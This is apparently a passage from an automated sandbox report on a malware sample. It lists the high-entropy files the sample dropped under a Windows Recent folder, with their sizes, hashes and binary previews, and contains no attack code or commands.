...}u..tY`J....}.._.j..#[.z.U.d..A?jU.G]8X...R\.g....].,.U..C./.\|."..:.3x.ZU.....n:.....e.iWA`..'.C..Hh...r^QsA...b...n'].......q{..O...hZ..sp....@dY....f.,!.W."..X..'x.Z.[D.1S..J.i.......1..6..=.y._b.V..Yf.7..Q.zm......}....K.f(M.....s.84....H.r&.Tx.~....L.m..pq...3h../.]..,.....[..&...s..........6.............z`.]m}.AR.qV.........j.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815488615857163
Encrypted:	false
SSDEEP:	24:rZvHK0pT1eptatP9vUAJ68RpS6ZvMycsPb9oTMTXIHH0pOkbD:NHnet6PXJrpS6HcsPb9rkHkD
MD5:	B9662BDB32BD387A2E649AC6F1678EBB
SHA1:	8C006771219FAB48912B545CE78A1B05641B669A
SHA-256:	E35340287150A65A82A6B3955136BF9D0AE1D2C143F691711B4332A2FEE85AF0
SHA-512:	0B6BA97C144C028052E3667623512CD72707BD4003411DDC6EF182A3E10E2EFD4F5567A1F927DDF4514DB8C233D14C42757E78F3147474D9B830A91AA7C80C25
Malicious:	false
Preview:	GRXZDe...?...d.....^'.-Z...q..4....]8...1c..I.]X ..5..B.V.$..........w.T.D}Gl.M.....)jAX#{5M...&@..\.;.]..q.wK....K....r_...5.....k.UE.X./.5.1.E.hG Q.4j\|l...Gk~...k(.%.@......K.I`.r8s.B..B.,X..6.w..m.Z'..P.H.z#..]...K].U3...9..r...y..y;.e8..c.].E...]....fC0...Z9..[~.X..k.E.<..1..}.n...4........!4.?.Y....9...G.W...-...D..@..c..O<.u..Q......NN(.u4..M.....O..q.G._<J...@....$.m..r5.p.?W.......}....Cu.....xH17.XQ.e....EC..N..N...2.LJx+..B@K.WF.....4[..;.W..ga.p._...9.r.;%..>..d~yO!_[..35r..u...O......3$.1.J..&`.-......!8..@......Z .Vd..)..c/...@...\..._..&...;6hUp...`..y>Dr..Y(.....AEI3V7[yZt.`........O...6V.\.o/...`]....k....v...f_.wfI.Ml11..6/._.....t.>O.D...M....JD).....5..1aw........c"X.b.......ZU.S.S8##3.D.Z.....X.b..S.!...1V..K..>.3.8.?.b......Kg.!.>1g..'.A.a..4...>K..p[..P.. n.........mY`eh..8..v.H...._BR... >.....+.`!.....8-T...90.....m.Q.lz......$.`..,.7G.+P.{.$.....J...n.`.....h.[.B..t.;@u.J..A..4.]..@...j...;7.!@K.;.......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8362630490876874
Encrypted:	false
SSDEEP:	24:aglQbaOWu5udY2vSiWidr/P5VT7wYbKgMKAglXvix04FVoeTAL73rMgtJExSmiW9:/leWvBfdrLt+gXfpLjrMgjyhi8k4D
MD5:	242B6231B6EF2EDEE0684B75C446B844
SHA1:	27BB389348FDC4384AD947EA48EEC031D90B429B
SHA-256:	99325EB524DCE01E0A9D69197047C82EE0172278B439425A2B1EB036D902B86C
SHA-512:	B0926D0E9B4D5D17A3E7F6CBE80E40C524FAA6203B68A65B27216CFE6978467A294894B36A1D0096F676887BD1E585BC0B3768A3899262F1F2B01207A0F7D62C
Malicious:	false
Preview:	HMPPS.u.B......r&...d.+Uxvk}.....3..+2.xp..;...+A..]X........4..e...JC..9...!U..y!#..M{._v0..$.H.`X..9.6m..p.......r..NXk....24CR0.].h.....y.."B".X...8......Mqd.s..Cd..10..d`Jk..-.C.5,...;..N.....6t>a0{.fAd..i!g1..?&....[.{.<....[.J..%.kZ&...Y.../(#.q.H.....,.j.sd..........M.u/....e...._..+......0f..V].wnC.&.bS.....:.f...l.].Yk...P.xv...Np.L..l.....`.o.g..l8...4.D..v%U.....V....z.......e.jYuli...Fi[.).. Rj...}.........i._.fm..-..9L...+..........z5.}'...{{..M.......?.m......+....+./.>f...s.f.)..{h..M...<..o).UM...h{......i>....5;.6...).dw...ao.^.a......,D..8...WC.Sx.:.....r...D....}..L...q...ztux.J.........t.:...y.<.Vs.'aR....}F.0.".gI...H...0I.6..6....C...4.p.X.DiI.....m}W&.m...h...^Q......d...6..Q.$..b...a8a.VC+..."..3\|.S.i..0...T...N..p\.en.)C.Fl.v(:. -=3....%c.(<.M.3\|P..$7H=....Qq...8..;~..}W.=...O.6.....T)....kd...T....d....y.....G.......w".(.....B.zM/.....D..HVm..'.i.'.`P..PI&....>.u.A.....=.:.[.....A.Gb..^..D....;r..MO>i.^@2...vt^..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8703587335854355
Encrypted:	false
SSDEEP:	24:WHrTMA1L5eWsLhJAGmKvmpLEm73i18Luf5bHTQiQaXITsdkbD:WH5eWs3mSM33KweBfQaXIgsD
MD5:	DD1F4DE2DFBB3F9B0739AB759A8402D6
SHA1:	3E4AED5DC0664DE3F680E9B8BA85335F89AA6FB1
SHA-256:	F0BCCA0DCAFABA5DD0F659274FF1982D65E61F2D1C69A051CA43F8A1CDD04420
SHA-512:	075D5256A83AE58D7C9FDF59BCEEA22125668374AEDB53EC2F412DF8F6C4A8EC83362AD93F359EAA641661D7F27009529E654837EB9C999814A964FDFEB24B5D
Malicious:	false
Preview:	HMPPSw'.&.Yr.M...J..F2n....D....<..s...g....X..Y....35..s.N..-..........5L...6V..Q.:u.K....G.....[.^.vC...3b.~..!..3.?h..2.~...av......(%i.J..(T..;LW1..{.S.h.......$...B.g\|...u..U.Bb."..`5s....~.C...5..3..;..:...{.).>_k......%.}...-....'..5...S..p.V.E:.lw0.QGyF.;.....Zj..........{O...e..{<#....8...MG..7....S.]R.?.=k...a.<....W......x.k.x3.6...##..)$. ")l...U...y.d....._.\.tJq>./....>.y?.&.3K..........u@..l.=OY.P.u7.$..S...\...ljz\|q...E.x.-`BIc.........6......a...~...]_....$P.L.'.q.9.i.....9........n..5..1g>.lp.U.N..(.JXq...Q.p.o....o0..?..].^.......j.l.......T.....S)[t/{.&.$._..Z....y.QT.I2.(...I..:~.f."...&..d.e.(..."c......5u..K......~4...`...6..T)l..........T8..S.I....E)Bx......f..K.......-......^.....[...$Tp...e.....]DT.[.BnK....J.gY..".#....%..M..Y.......%.a+EH.A...G.6g7.._.n`.....P{........L....,...-.cg..4.......ay-.....^FkS.........},..L..S..Y.!....^.WE...<.... .:.0&J.#?R..8.P.....KOM..^L@E.R.\|.d+...5...7..M.\|.%.m.f..6.7x..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IKCRSXYNJM.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8670822896902095
Encrypted:	false
SSDEEP:	24:MusACXy+BgptGd54Q9U5KnC6JXD23QW2HhVd1pMEBoGcDxnd5QkbD:MxACi+cNQUKnl23wjnpMEeGcDRdD
MD5:	FF3787DEE677A95D2A6CC3ED1BC31CB5
SHA1:	CA92B527903C41A0676856664CD13A049A1E5529
SHA-256:	50A4682E3A195089453527AA5973AA9599CC07C807DDC836660790822FE6F400
SHA-512:	12651E66626AC931147C9CA7376ADC1169FA183851DF3071DAFA9CFCEE23A2D1F6F84FDCE64458AE9E9D17FBE8E382EEE0D0D2631237EF534B2B7E27293B2EDE
Malicious:	false
Preview:	IKCRSj.L. .].x.'3.._....!.2..S....H..vZ.. Pe~...:.a....m...zOh ...C..@.='. .(..&:u...P.JN...0q3....O.N..d.....;Q..R..-ig.....+.o...}.l.6.~....U<..6\......#..,...N..bm\.fO..6......9...{.y..~..Y...b.2.%.c.......>....#k .. ._.K..W...1.e.lT.......24....i[#\|.f0=..1..=.O.. .O.=/8.d.......i.fh..v...T..s.&...#l..&>K....gNv@N.T..._..I.e.),xt.~.......!.}f....d^..(..E.L.x..L..\...".8......n......^?.6e.....z.0c.-z....R.....?..13q....].':>j...G6.......).c{z..D.\..X.%..3.C!..K...\|}.R...V..C;.:L.....T.O^...x........j.M.!.e..m...R....N..c&........0./...-.kB$.<v...RXW.4~....&i....UF~.d+...~ Cu......#.......8../....,...a2.r}./.......@....jqc..MU...i.dG.>h.4..:x..k8;W...c?.Xr.5.J$..D9.9s.R..&.IR....o.GQ...!U.\|G..Y.be.......WQH.V-...\|..].q....>p..9..-)..T....N.T.G.eYn}W$W..,.k... .e..4?_....JHYBD4..90.w.z.)F.S...U....X......I....>..R..*.T`.......(gz............[M...:w..t..O.".w.............V....3..N...8m.....@?J.(:..(....g....].... ^...EXWwC.[.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JMRZRDCMEF.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841688849722251
Encrypted:	false
SSDEEP:	24:RcVkuuHwTDlhVSXvV3gOD8SmnOW3uh9IOoo8Blxn+bhW01aWHPKz9atSjkbD:RcauuH2U9wSe/+jbdEldwaWHP4eVD
MD5:	45793A59EEBDB2C07DA93CB0BE178006
SHA1:	A422872DA0856D5A2A20FBFFD51EB996C490AB46
SHA-256:	070A80AD31CA82673CA1ECDEEA94849FBBDAB73EBFF3868F46B328902F9E596B
SHA-512:	F551879190A189224876BD55D6FE3EDDA7A709BEBDD7B88D162764C2DA911ED135919EE7A8F4100E41C21DD1F1053C714359847AAE846CA7CD8056919B28C287
Malicious:	false
Preview:	JMRZR2...}I=..JE@...i.._. .........u....'.:.....;.._.%...[r.Mz..;....EP'wo.....).....`.....#Kq...V7......:?v.p.......:...l8.,.O.U.H.o.%/.I/l...d..5%.....W...}...#.Y.b...Y6O...0.U....6.}..:a.,+8.D...q.?...Pr/....U.d.H..t_.BXz....".a.6Wq....H..f...M..6....H.....Y...}.I..pf.u..ij.[...7...'+G..+(....^._.w.7...L.\|.d..R............u.Ak5...J#.1.D..y...^...<.....qbO..gYK.kvZ...`..3..}...}..+......&.......[.(..O{.$...P..>..W.......R Hh.N..!].v..$.^..k .-...........p.o.s......!j.Bi.........K...AguU.g..T..........s.#N..KR.W.U.......s.....o.V..r.f..6zA}....I...o.J.......?.b..S......6...c.2..s.q.2.N7uM;..f.rt8..7.8.....`.#Q..>t...O`NK..f...yXT. ..W.w........aP.O4=....A.WK...{^.:...7;...uH..@.;...lp..~....L....2.....I_~.ct.....t\|-#...w...H..wt..eY....s...hP..UR...%..c...e.\Y.....V.......3....a...\|.<.....t......`4.2.......v].4.eW..A.....c......2..g.p..QtQ.F4.(.4...H.x.......s.._.BB}.....w$....rx.h.:.....G......m..n.S.........t.D..~k.M+.I?T.Y.A.U.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84581857719575
Encrypted:	false
SSDEEP:	24:bmZjQrcvOzxSRWoI1pGyCEf3+bfvTOQR8g6DD5PpVtbM2OfgM3zHkkbD:yZjQuzI1pGVEfGCS8H/V98z1D
MD5:	9101D034F6590EB2224B4BF11C953BBB
SHA1:	F86C64EA079444026A6DA27BFDD243F5C4EEC7F8
SHA-256:	37EADB66F05D9CD9A113F019E0AA5F5304479B6BD6442ABDF1381D550782BA63
SHA-512:	BE77A5560BF103A3E2E8B7302066E709495719FEE5FFDAC11421B3B9E6E43490DFFFF26FCE6353A961E47ADE8C7A504D199E2697120DC3B87ADEDF2D48FE69CD
Malicious:	false
Preview:	KLIZU.\|..m...r.........L..J.s........./....%..LP..{&qW.G1.y.'....x.b..bx...haU:/.;$.?'`:..rg.1.m..j..B.q ...........i.O.h....K.^.t..K&.8..dUr.....p_...v.i.e.g....0c5.GI{....V.b.....R....@.....Z....z..A..8..<.u..c(J...E...\|.=..)G...}..s..Gg..i8.Z....]/.)<.j.V.aE...$`........5-...Pt;:......ik'.....)I......M..,.N@<..'W...r9...P...g.....%..1....@....."<....=.kW..... %..]v....\....nY=.R...&...<...{Ng8...OG..I.#...k.#[...4.\|oH.CY.....IU...)..).=h.N..K....`...=./E....$.P.d.I.....c....g.x.....q..%.M..x....._...T`...'....{U.)"S..c.... .....P.qBS.s.t.I3%..C?!.H.&.....Y.....b........x.\|..&.g......W......#..8.$n..Z,...$.F7/..C.y.....+.9;.....a.F.....[%[...Y4B...O.(..zKc...w..ti..c...&...z./.7.....S.do.......7....x.Bs....}.b.gWv..X...&.Q....RlY....p.%.\..Z.H....n.2Bfh.xrH.xG....s.F.6......^...6...fh.3.b."g(.a.2r.t.+.J.....}.^.Z...F.....Q.g..=$..q.jV.`bI.}XNv.>~......\|U.E...,..y9.4M.K..W.z..n...i.t`..!..pg.I.."H1S.....t.......K......(.'......`.W.w....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823492060076958
Encrypted:	false
SSDEEP:	24:MDuniUdQ3cR1/CNfgqAcf21+KCEIBl0UR7mhMdZZxdi2PeZPMY4kbD:EuQ3cDCOxKZ5EIB3R7mhMTZXmZ08D
MD5:	0E56BEAB71C16D791F2BBF0C193F4839
SHA1:	3664BC0CD78A9B02E27FE06888B90FD831A3A9BF
SHA-256:	CCF07FB23CFB028AB602C7A958763AAACF71DED53D2C10AF9B780AD95A6CCB05
SHA-512:	2B251BE18A9358B8CD2F65AC46156DEB6913F2C2DA8B251A4E856EA9CAC542AE40042BED855C215C19D37C3AC417328C870BD86C85F04DD6A8BF3F754E5ACF36
Malicious:	false
Preview:	MMTCV.......Bk.R....ke.YM.g...M..L$.U[Qb_....+..l./.[d.,~........bI..o.;1....u..S.....1vnb.E.V.j.92U....a..4.+\|....m.9f....Qz].....9....S.3KWST..........,.d...3:..kO.bf<&,.:,A.U{.cKT...2....p.B)..X..b.<p.L.+,.Htf....xp.....iA..oAz....TP@..f..F.3..-.;&{...<.Yn.......b.T..,...C:.....#.Q.f...m.G.......@#.6Ze.{..6D........).~.....@o.....)....8..k.e...^I.%.....g]..E"..)$k......YX.#.}u.d.(...i(...6e...Bp.4..\|..6&.....Z...v.U.b..!./N.A.....8...E..P......x.K.r...u....}....9}W..)#pq....?r...}....\...w...x..9....`........3.J.A=..f...6..+..`...4@../....X..Sn.J.:b' . g.) ....{.:.B&.....r.4S.(.4\(%C...........md..$..^O@..$...Z.$..`0..b;.m...$.-&...V.:..}...i..CPH_."u\|.z..x.BF.c.kyl.R....j...v.?..5...T;......v..k.PT:.E.....@....v.VI.`..w..$..j.s.6.>'(61.7.0.x....M.g..9....."..U....HSH.i.tx.7b);..a`.g..9~....^...`..+-!A......M.0...ml.]XX..\.R`.q.~.7.. ..8..c....PIR\|.[OI.....HUE......^@o;V.C..4@oR..v,n...Mx....K...Lf..X.@..ppL.......+l..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MVLAMAIDGQ.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836062074902557
Encrypted:	false
SSDEEP:	24:QXCzQKN5VlJfpTEQVOv4ZK/3UE9pcOBeOaW6V5NnvE+sCMLkbD:QSVD9EOOvf/3FoOy9V5N8+sCPD
MD5:	54C1A29F06E552D52477433D1F69CFE1
SHA1:	DD1DEF0A87F75D56146E1E0A7ED3C349C449D0E7
SHA-256:	72D4AB5EC0FE7A07845DD12D664000F6738E31DEC79085F50FB0E1EAAA642F5F
SHA-512:	202112953F3CE505B7D7C710866E150C26AE1B722724D70155072D14C080B7CA4A3B16B59DD24D757C6F5421E33BF2F84B3DF06B86E342E0009266179192F954
Malicious:	false
Preview:	MVLAM:(.`..pv.o..9....7..,.h.v....w..#.(l..g.Bz.z;.xYn...p'x..r=L.x.2n.u..8.rH..jM..A...b5...!!.#Z........`.....O..i.....,-..u.=...i.h...w.!...<....P>.W1.3.nm9g.'G8..U.>....\|Ne.hg.).....#B.c.<......dK..E.Q0.Y.........f..?.Q..V[.z..7.....e..F.K....s.fN..y.h.e".....;{U\T.8>l...MJ.Y..s.Q.c.Y.x..~x[...K.noHN.m.................>=c.6:...Gi.v...v....1W<1...Mh.kU8.....c.k].TD.1...h7#..j4Q..+..?..@.c........e1..b..?.A...P.'H.L(.....^.n_...y-Bi...Z.+i.......5t..,z.......d7YsE`'......l..%..k..8.`...........f.8>-B...E...........u.':W..E$.G....>..tE..v...bqm.....S.......#Y....w..M...:.@..V.?..HB%..;.3K.b0}.+....d....y.B.K.w..?sC.Y..%9X.h.<Y...........F....>M.:..3..T....W.{.."..J+z..!:..(o...N.Z...y."{.X...HS......4y.j%....=..$x...R....P....(v....HA..{T.fB.......8.e..J....od....;.p.l.........R....Lt..cW..u.t..?N.\|3.....MU.t.<.^.rj....\|10c.Q.J}.{......p...v..#}....,Hj...Q..2.......b.P1..$H...Zc..S)....Q...h#(.KWz}.4X.....g2.../6.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MVLAMAIDGQ.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840959248080091
Encrypted:	false
SSDEEP:	24:T3Q/6YylosX3Gr3JoEKngVNmgl176ZyjNyQ6gila5HFmbFs/A4TVDnZMkbD:Tg/6YymsXWjzl1+ZINyQoqFqiT5nZxD
MD5:	8DD8D2136958A46189E5FADFE718DD88
SHA1:	7320A56B93826D6CF1C791B513DCEBB8ABDC307A
SHA-256:	B13F248D5668521754EA4646C66EA10898869DAD35419B76E2C2E3F0DB8DA211
SHA-512:	19CCA320DBD1932AB64E777137E7510249D38E3011D23D1474EC52F427B17B460F0CA1FD1D5CFADD96717F96EB6B0BB7EE9715C4194BD927532EBD42CEC04B57
Malicious:	false
Preview:	MVLAM.g7\B.n...q...........P....r#.7.Y....Xm.r5pW...u:.{.....\|x%,..........Q..g....'.g.....IF.1..B..,=......0...i.I.na.U.6q;.....X.i..........gG<...L........\..Q.q......Z.'+..MzJ.<?g.O......%......\g.B..i\|a.]:..g..$._.gu..T..K...b7.!....<<.v....U......=!^D.]z...?A9.c.....Z.[e.....Q.vu";...<=GP..b.3>c..n.Sb;_.fx.bG....O{...:..#......+%0,.5.x~R@.+.Q.a..\A..W.r.p.}..'..O.9..G.U$.?/..d4...\|.....m..Y."...YX])...gn.Y......o..@.n..!w5.N>.....(.E4..t..:..N.>&F.NV..g#.wa.%#....}N.@!4.r0"eR.HRA.V..9S..K.F?...i7..~..z..g...7....[QI.f..L.@B..@W....../}..u.G.=.s>...0._(x@b..7"..V..........8M....._.dNx.x48B5...79..F.^fO._..H...G.........X..P-......-.5..FS...Z.... .E.X..\|.@...r.\k......pVJ.l.u........hy$uhk......@....r6....9$.V.....?....[.V..kq.v.....{..6."..1.;..AB+....,&e.....w.....+...`.q.h}.3.+.1...&.&...s....S)+.E.u.w.4......g@...S.G[3\|.\|..#u.HzL.^..F....}...."J.F...p.Q....]]E.m.U.DiD.....3yX..9B.=.T.g.v.<...8.Z.l..I.V.<......}. $.3..;=....A>....8

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MVLAMAIDGQ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862595686207716
Encrypted:	false
SSDEEP:	24:GwKNokEp6AEqC70VotGqktOufZ5clBz6PFt9IhPUGm75Al3kbD:ANXEMAET7QOu86Nkif6ED
MD5:	8D2564657CE74E0AC7879BB4AD743E9A
SHA1:	5BE91BC19F31271C6634B7C6AAFECD9BF6286AEC
SHA-256:	74B0BCD3B67212CFAC7169EB6D2DDFCB731EBBEDC54047E77335353240D1F34B
SHA-512:	6CD3FF62040A99DB84F71A746B7694B5CFFB7685FF6060A5F02BDC3C18AFFDE64257837FFED7EF83618330A18EBA70123BFB1954E8FE065D4094C07464CA8E42
Malicious:	false
Preview:	MVLAMG..].. ...I.....w......V./../..A.cv..T.......%.E=sWk..O8#..M.Nn.=..p...2.Y..-9.....5U.......D.J9.pN.G...$g.....Cy.:..zA.S..$.%...^...P... .Un.....b.rS..?......H.."..$X....:...Q..z.+B...-...!..o..P.^.j^..vD.\|xi..E..=.@.u..#QF.%.....[.qj.T.......<..........$NB.q.Q.8';..........&G.[.s.`j.g....3-T.t..)p.".f..x.......r.+.........P.n....,.4].....k:...w.#.......v%...../&.%\.....M.Q..;F..]......V...1.......r..>..2...?.2.S.)<...I-/..'..;.jtg...{=...b,.^?8p[.E.&.%.w.0.X4....0....U. .,...sX(`,'.....+d......5p...qs..>k!.5..........T.O.....'.^.&@G.N..:......G..O..$gN...l.....k.....F[...g}.c..."NE.v...GU.....2.:....c.B.>Ky.y..a..V..PU...5h(AMg.....B....0...Zw.....e...FZ..4.+u...(.W...pJ..K ..e.#...g.....6...{...Y...W.,.Uv..d....7hz./......e..c7m.!>..$v.....<.."W.k...8.p.....f.."8.r:..@+.T.bC.6...c.y.Lo...;S...)..c.U.y....)..a..^.....?..%ob.`+.....[Ow.!...a.w.z...(Q.....4....(...1!.8;]...=........z....hN.{n@v.....?x.....I..3..........u.']/.O

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8334262119511315
Encrypted:	false
SSDEEP:	24:FI9XpDXYf7WdSvFmgIGjeaSr5gWO5BgbsPWjocmBgFE4ujOtqfP3YvDecm18Q6S5:Fo5YfCdSSGiaS5U+jBmE2jOtqf/YvDeb
MD5:	C4271C45EBECD6D2154F8543DDC4530B
SHA1:	C1CBF737F652B419D0E54B543D172B9A26F3FE91
SHA-256:	198C7E24F20809BB563F49581A43C7E3488772832D530A248BC80EF0139A76F9
SHA-512:	9FDDCA6410714D2E6084AA0E04717FE82C3180C8596DE9F57FFDFF3AF056BE178A3DCB82696F9016F5203095ADDB87DF2B9077B7A9D7856F1383ABFB09338B0F
Malicious:	false
Preview:	NVWZA.#Z....V.>.. .R.#......,...3.i.........p.....k~6.~..j.$.0....r.k...u.]v......8n%7..`./..F.....1.j...aW<........Yo....Ffqw..\|.........?....v...]..'....._'...$[\|..r...{.^_.IJ,D.r\.\...}...d.i..K*6....{...Ah...tPW5P$'.@..P..b.Y"..^...e.ope......U..6....K.-.......[f...=......n...9b..<;.x.%.?..;.>....Ni.# ...J.~<.4.`.....;.a.K..k..U.o..q.[.../.~.!...;.p^..M.".l&.;.z.H.;)....H@X.T.->..{....e;...w1.......qq......Qj...{}.....`...y.r....rh..()S._.kT..f.........,.-...Z...\D......}..<LF....~H...&....Q(.'.v.G.\|./....^.b/...>.K).....4...x ......2a!s;...#RZ).Gf...d.. .;..Q.1...z.I..Dy[.b.'8]9S.....\g..M.V+k..Z.CD..{..yb.....t'..S..3wQ..nw.......U(...]...4m.D.uw.TKJ.M.p.s.f.../..........6....Q1..:k..J......n...!..B.v..N.R;G^..qM;'....C.o.....q.=..YN....CJ.Z...N.?..N.I.?...hH.7>..E.....,t.^[...... !.g.p.....Af1.;'4/.v.r.~M......%d.F.....F.v.....h...}....S(jE.K.H...X.u..7I}..M-...XX../...."..E...-:.5..{P.6....C1...^'i..Yo........U.Uj..^.....M.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864938086792582
Encrypted:	false
SSDEEP:	24:FWyuWrBNN1avBsn/WrJ6zLnVEB8TqrR7uTmc2KGCOEUc19T7YFDUOnh0AyK4ueOP:FnrBNC6/iJmVq84R7YXsCTZYpfGAytuV
MD5:	FB87F04E358293D4A984A98CD0CD3FEA
SHA1:	75C4BD8320F0717C1D2EA0C32B7EA6AFE83E66EA
SHA-256:	9E0EFE1BDF5ED467264ED7B958FCDC3521540F818AE4983C947A87299951C017
SHA-512:	10CF7C6D21BC15007D9C74C29A420662707A11D3B38DF82C63529A0748E4817523285046D808DBAAE7A8BE3A5365A14DFF3C639D1B1BC0B031FA199C57FBF89E
Malicious:	false
Preview:	NVWZA3..OVt5...,....Ny.....!.i..l...RI...m.x:....\|.m...>.....iZ[+.kD(...W.].....P".?.&.......D.r%...m.I".}?tn4...o.....?.......z.+...G......R..@......`.#...0...>..KeR.:.0..:.N0..)..-A.5..[X..04..S.%...h;k(...,...,.c.m..>'j...VKrY..+..<.......`q.0.>O.`~.`...g..I..Pq......Fp.T0...s.~....Jb%..".v.o..HBg.w...er......`.....U..1.jSi.9}.Ti...iV2....v ....#,G.d1..I.{.D.S\|...k.rX......(-9.(.;.-...'.R9i.>.>....B.QR...)?...#..qb1..au...{.7.uF</...NNSU.X....D\|..3,...&.!.\|.YT.....?..2.............C.....)+p....]..N.U}.vR<o.8M.N....!s.)...<...?..Z..........4..FsSO...F...<.0...T...J........a2.G....^.j.I.%[..Tz.g....ip.V2.....r.?Q.@..T......8..S..d!a:E..z.?..+.....(/.Z...$.......".!....n..}4..2x[dI.C3..L>.{...g.:h.Fq..7...4:5S..x+.y...)..[......4"L..h2...#.V....l.\5B.V.T......(...N<S}_RS...........=q...-.Kj.Mt..2<4o`..H...2...hn..E.....p..........5....SKj......+.mQ6..u..u...t....z..X,\.PC0..e%..E;W.j.s.$E>#.\l(.a.&..4#)....i......"\|...2M~.W$..x@o.zNe..z.f

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869070926613809
Encrypted:	false
SSDEEP:	24:FY6yxhrpzcge/6LoHOsom566enb9SyC0PBHYeKkx8EUS2o5GyP8kbD:FY6yxhmgeiLLsP56Vnb92telx8rgrhD
MD5:	11646864A0C70BF4DDFED745F9BD7B98
SHA1:	79F0FCEE5FE1B86B7BC6530685D33D6ED9BF80F8
SHA-256:	E0FDFEB86866B59AC38DFC48BCD623494AAE91B354AEFD573E49C4ED0F851DD6
SHA-512:	82B4CFF87A64163424F05FB933A5165966C5EEF856D6FC4962BCBBAA679B14CAFDE2966BF2A70104D8A85787B7A2B4151AB598914940FC61E5E42160FC84CAE4
Malicious:	false
Preview:	NVWZA.vJ. .-.w..:d%z..J.r..9..5..Y.c..Z..c[v]...i..m.=k.V. ...?.$..o..\^.H.2.4.d<...x.8...m8.f6.+.!7&..@.\.N.$p.4.3]T..."A...-...V.^m'.\|.j..@.r-@#..].v@vYZ.j!....i.......Z..9.&./..i.R..N. 1.,0Kb....XpY\../..(....J.uB.V%75.../.}.g..m..m.2...jw...f..7..4.,...(O...~.]..(....."1...+.8..%...w..?.A....Ue...:....@.".."...nL.^....W#..X.L...P..~..m@..V..+.T............p......'-...=z)O.{.......V.;L...SbW.;..<f.=..n..Yf.5^@....E.LdL2...#f........;V^.......RU....U!%.q....[<...T....x..t9....:....P....@..(.=...O.2W.d~....h..E...i`.q......$.\.b...e..x:..~...?.}J....7(HL#.V....>..dw\|.V}B3..'...~l. ..A.4....~..#..h)&....d..Dc..r..Qjy..z-nD..&.....j....mn[...3....'.....!..p.A...........w}..T..y..SI.3.LG._......Cyu.M...ul.9.Q."O...[..$..G..[c.G.{...}.p7....c....2........_/F.Y.=.`%uI.l.n..........E....(h.D..* &......%....?.....8.@.....\|l..c..s...r.G..X..p=....c_qQ..,Z..o.,.{.....@.K..\IW....%...O...8....+..E..Vu..VGw.n......,pC....c.....G.?TN$,.AM]..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874408135108557
Encrypted:	false
SSDEEP:	24:3LVjmZb58J5dDMPt2S5moD0J/nVI91Mv41X38wmSHfgia/GJw0Z+xAFuCkbD:5mf8J5QUdA0BnTIMwvfH8Gy0YxsunD
MD5:	8A7984411F7B7C9099C7DED06DD5D742
SHA1:	B2D50A199C8D2DBE7CB29DE27DA8D03A98555B20
SHA-256:	F352A5CBD386326FC2ECBD18AFE5E3E13ABDF92223E6EC413348FC42C70352AA
